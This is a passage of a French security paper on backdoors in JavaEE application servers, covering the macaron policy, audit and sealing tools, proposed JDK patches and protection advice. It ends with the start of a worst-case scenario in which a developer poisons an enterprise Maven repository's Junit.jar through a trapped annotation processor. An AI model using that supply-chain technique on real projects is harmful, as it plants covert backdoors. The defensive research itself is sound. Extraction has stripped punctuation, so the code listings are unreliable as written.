Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
